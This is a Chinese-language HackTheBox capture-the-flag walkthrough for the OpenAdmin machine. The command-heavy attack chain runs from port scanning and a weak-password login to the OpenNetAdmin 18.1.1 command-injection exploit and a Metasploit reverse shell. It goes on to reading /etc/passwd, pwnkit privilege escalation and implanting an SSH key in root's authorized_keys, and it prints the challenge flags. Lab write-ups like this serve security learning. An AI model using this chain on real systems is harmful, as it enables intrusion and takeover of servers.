目录
连接至HTB服务器并启动靶机
使用nmap对靶机TCP端口进行开放扫描
继续使用nmap对靶机22、80端口进行脚本、服务扫描
使用Dirbuster对靶机网页路径进行递归扫描
编辑
尝试在searchsploit中搜索改WebAPP漏洞
横向移动(其实没有横)
启动Metasploit
特权提升
USER_FLAG:8dc61b4d9177f837003a7c2e18cecb6e
ROOT_FLAG:2f88f1cd2398dc8b2fb60afc559b22e0
连接至HTB服务器并启动靶机
靶机IP:10.10.10.171
分配IP:10.10.16.7
使用nmap对靶机TCP端口进行开放扫描
nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.10.171
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.10.171
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 01:10 EST
Warning: 10.10.10.171 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.171 (10.10.10.171)
Host is up (0.092s latency).
Not shown: 60052 closed tcp ports (reset), 5481 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpNmap done: 1 IP address (1 host up) scanned in 68.02 seconds
继续使用nmap对靶机22、80端口进行脚本、服务扫描
nmap -p 22,80 -sCV 10.10.10.171
使用Dirbuster对靶机网页路径进行递归扫描
使用合适的字典,这里扫到一个登录页面
使用浏览器直接访问改页面,直接一个弱口令就进来了
进入后台,在面板左上角可以看到当前的OpenNetAdmin版本为:18.1.1
尝试在searchsploit中搜索改WebAPP漏洞
searchsploit opennetadmin
查看该EXP代码
cat 47691.sh
经过简单代码审计,这里将url变量修改为靶机登录URL即可
直接运行该脚本getshell
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ./47691.sh
$ whoami
www-data
$ ls
config
config_dnld.php
dcm.php
images
include
index.php
local
login.php
logout.php
modules
plugins
winc
workspace_plugins
横向移动(其实没有横)
查看系统内的用户
cat /etc/passwd
由输出可知,允许交互登录的用户有:joanna、jimmy、root
(截这张图后过了一小时试了MSF提权)本来想着这里手工提权的,但是后来MSF提权还挺顺利
启动Metasploit
msfconsole
搜索opennetadmin相关的利用模块
search opennetadmin
使用该模块
use exploit/unix/webapp/opennetadmin_ping_cmd_injection
这里需要配置好参数:RHOSTS、TARGETURI、URIPATH、LHOST、LPORT、PAYLOAD
注意这里的PAYLOAD我标红了,一定要使用符合系统x64的payload不然无法反弹shell!!!
这里发送PAYLOAD超级慢,应该是正常现象。。。吧?
特权提升
拿到了low权的Meterpreter之后切换到提权扫描模块
use post/multi/recon/local_exploit_suggester
这里经过多次试错后,成功利用linux/local/cve_2021_4034_pwnkit_lpe_pkexec模块提权
其实到了这一步,利用Meterpreter的search功能已经能查看两个flag了
但是此时出现了一个我感觉很奇怪的问题,明明在Meterpreter中执行getuid命令
回显为:Server username: root
但是使用shell命令切换到终端后,执行whoami命令却显示www-data
meterpreter > getuid
Server username: root
meterpreter > shell
Process 9064 created.
Channel 4 created.
whoami
www-data
于是我尝试在本地使用ssh-keygen生成一对密钥对,将靶机的authorized_keys文件进行替换
这里将root.pub文件名修改为:authorized_keys
在Meterpreter中进入/root/.ssh目录下
meterpreter > cd /root/.ssh
meterpreter > ls
Listing: /root/.ssh
===================Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100600/rw------- 0 fil 2019-11-21 08:45:07 -0500 authorized_keys
将authorized_keys删除
rm authorized_keys
meterpreter > rm authorized_keys
meterpreter > ls
Listing: /root/.ssh
===================Mode Size Type Last modified Name
---- ---- ---- ------------- ----
将我们用ssh-keygen生成的authorized_keys文件上传至靶机
upload authorized_keys
meterpreter > upload authorized_keys
[*] Uploading : /home/kali/Desktop/temp/authorized_keys -> authorized_keys
[*] Uploaded -1.00 B of 399.00 B (-0.25%): /home/kali/Desktop/temp/authorized_keys -> authorized_keys
[*] Completed : /home/kali/Desktop/temp/authorized_keys -> authorized_keys
meterpreter > ls
Listing: /root/.ssh
===================Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 399 fil 2024-11-12 03:40:14 -0500 authorized_keys
攻击机通过SSH私钥文件直接通过SSH服务登录ROOT用户
ssh -i root root@10.10.10.171
查找user_flag、root_flag位置并查看其内容
root@openadmin:~# find / -name 'user.txt'
/home/joanna/user.txt
root@openadmin:~# find / -name 'root.txt'
/root/root.txt
root@openadmin:~# cat /home/joanna/user.txt
8dc61b4d9177f837003a7c2e18cecb6e
root@openadmin:~# cat /root/root.txt
2f88f1cd2398dc8b2fb60afc559b22e0